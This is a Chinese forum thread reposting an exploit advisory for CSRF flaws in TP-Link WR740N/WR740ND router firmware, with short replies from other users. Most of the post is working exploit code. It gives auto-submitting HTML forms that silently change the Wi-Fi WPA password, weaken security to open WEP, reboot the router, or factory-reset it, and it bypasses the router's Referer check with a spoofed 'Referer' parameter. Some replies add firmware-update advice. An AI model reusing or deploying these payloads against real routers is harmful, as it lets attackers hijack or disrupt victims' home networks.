【转】TPLINK WR740N / WR740ND -多个CSRF漏洞
看来不发点东西是# Exploit Title: TPLINK WR740N Multiple CSRF Vulnerabilities
# Date: 11/24/2013
# Author: SaMaN( @samanL33T )
# Vendor Homepage: http://tplink.com
# Category: Hardware/Wireless Router
# Firmware Version: 3.16.6 Build 130529 Rel.47286n and below
# Tested on: WR740N/WR740ND (May be possible on other models)
---------------------------------------------------
Technical Details
~~~~~~~~~~~~~~~~~~
TPLINK WIreless Router WR740N has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router,Change Settings by simply making the user visit a CSRF link.
Application uses "HTTP-REFERER" check functionality to check for CSRF attacks. But it can easily be bypassed using the "Referer" parameter with value set to target's I.P in the GET request.
Exploit Code
~~~~~~~~~~~~~
Change WPA/WPA2 password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<html>
<body onload="document.form.submit();">
<form action="http:///userRpm/WlanSecurityRpm.htm"
method="GET" name="form">
<input type="hidden" name="secType" value="3">
<input type="hidden" name="pskSecOpt" value="3">
<input type="hidden" name="pskCipher" value="3">
<input type="hidden" name="pskSecret" value="">
<input type="hidden" name="interval" value="0">
<input type="hidden" name="wpaSecOpt" value="3">
<input type="hidden" name="wpaCipher" value="1">
<input type="hidden" name="radiusIP" value="">
<input type="hidden" name="rediusPort" value="1812">
<input type="hidden" name="radiusSecret" value="">
<input type="hidden" name="IntervalWpa" value="0">
<input type="hidden" name="webSecOpt" value="1">
<input type="hidden" name="keytype" value="1">
<input type="hidden" name="keynum" value="1">
<input type="hidden" name="key1" value="">
<input type="hidden" name="length1" value="0">
<input type="hidden" name="key2" value="">
<input type="hidden" name="length2" value="0">
<input type="hidden" name="key3" value="">
<input type="hidden" name="length3" value="0">
<input type="hidden" name="key4" value="">
<input type="hidden" name="length4" value="0">
<input type="hidden" name="Save" value="Save">
<input type="hidden" name="Referer" value="http:///">
</form>
</body>
</html>
#For Changing the Security to Open WEP, simply change "secType" value to 1.
Reboot Router by CSRF
~~~~~~~~~~~~~~~~~~~~~
<html>
<body onload="document.form.submit();">
<form action="http:///userRpm/SysRebootRpm.htm"
method="GET" name="form">
<input type="hidden" name="Reboot" value="Reboot">
<input type="hidden" name="Referer" value="http:///">
</form>
</body>
</html>
Factory Reset the Router
~~~~~~~~~~~~~~~~~~~~~~~~
<html>
<body onload="document.form.submit();">
<form action="http:///userRpm/RestoreDefaultCfgRpm.htm"
method="GET" name="form">
<input type="hidden" name="Restorefactory" value="Restore">
<input type="hidden" name="Referer" value="http:///">
</form>
</body>
</html>不行了，小白来给大家分享一个TPLINK WR740N / WR740ND -CSRF漏洞的漏洞吧{:soso_e144:} 貌似昨晚盼盼在群里提到了。。。就是没看到那撒比发帖 我表示你的洞不全。。。因为事先你要登陆才能对立面操作，登陆的格式我发在群里了。。
还有就是CSRF是通过JS构造语句实现的，，你这个没看到对路由进行攻击啊。。 跳转到的页面没有i， 这个只是读取一个IP 而已，知道原理，谁都能写 Antergone 发表于 2013-11-27 00:16 static/image/common/back.gif
我表示你的洞不全。。。因为事先你要登陆才能对立面操作，登陆的格式我发在群里了。。
还有就是CSRF是通 ...
谢谢啊:)
Re: 【转】TPLINK WR740N / WR740ND -多个CSRF漏洞
感谢分享，这个CSRF漏洞的分析和利用代码写得很清楚，特别是绕过 Referer 检查这一点很有参考价值。对还在用旧固件的用户来说确实是个提醒。Re: 【转】TPLINK WR740N / WR740ND -多个CSRF漏洞
感谢分享这个漏洞分析，很详细。TP-Link WR740N的CSRF问题加上Referer校验能被绕过，确实是个不小的安全风险，尤其是修改Wi-Fi密码那一段，攻击成本很低。建议还在用这款路由器的朋友尽快检查固件，升级到官方最新版，同时尽量避免在登录路由器的状态下点击陌生链接。Re: 【转】TPLINK WR740N / WR740ND -多个CSRF漏洞
好家伙，这个漏洞挖得挺深的。TCPLink WR740N的CSRF利用思路很有意思，HTTP-Referer检查居然能被Referer参数绕过，直接伪造目标IP就能过，防护形同虚设了。附带的PoC代码也挺完整，改无线密码、重启设备都是高危操作。对于还在用这个固件版本的老路由用户，确实是个雷。感谢分享，大家平时用这类设备最好去官网升级最新固件。
页:
[1]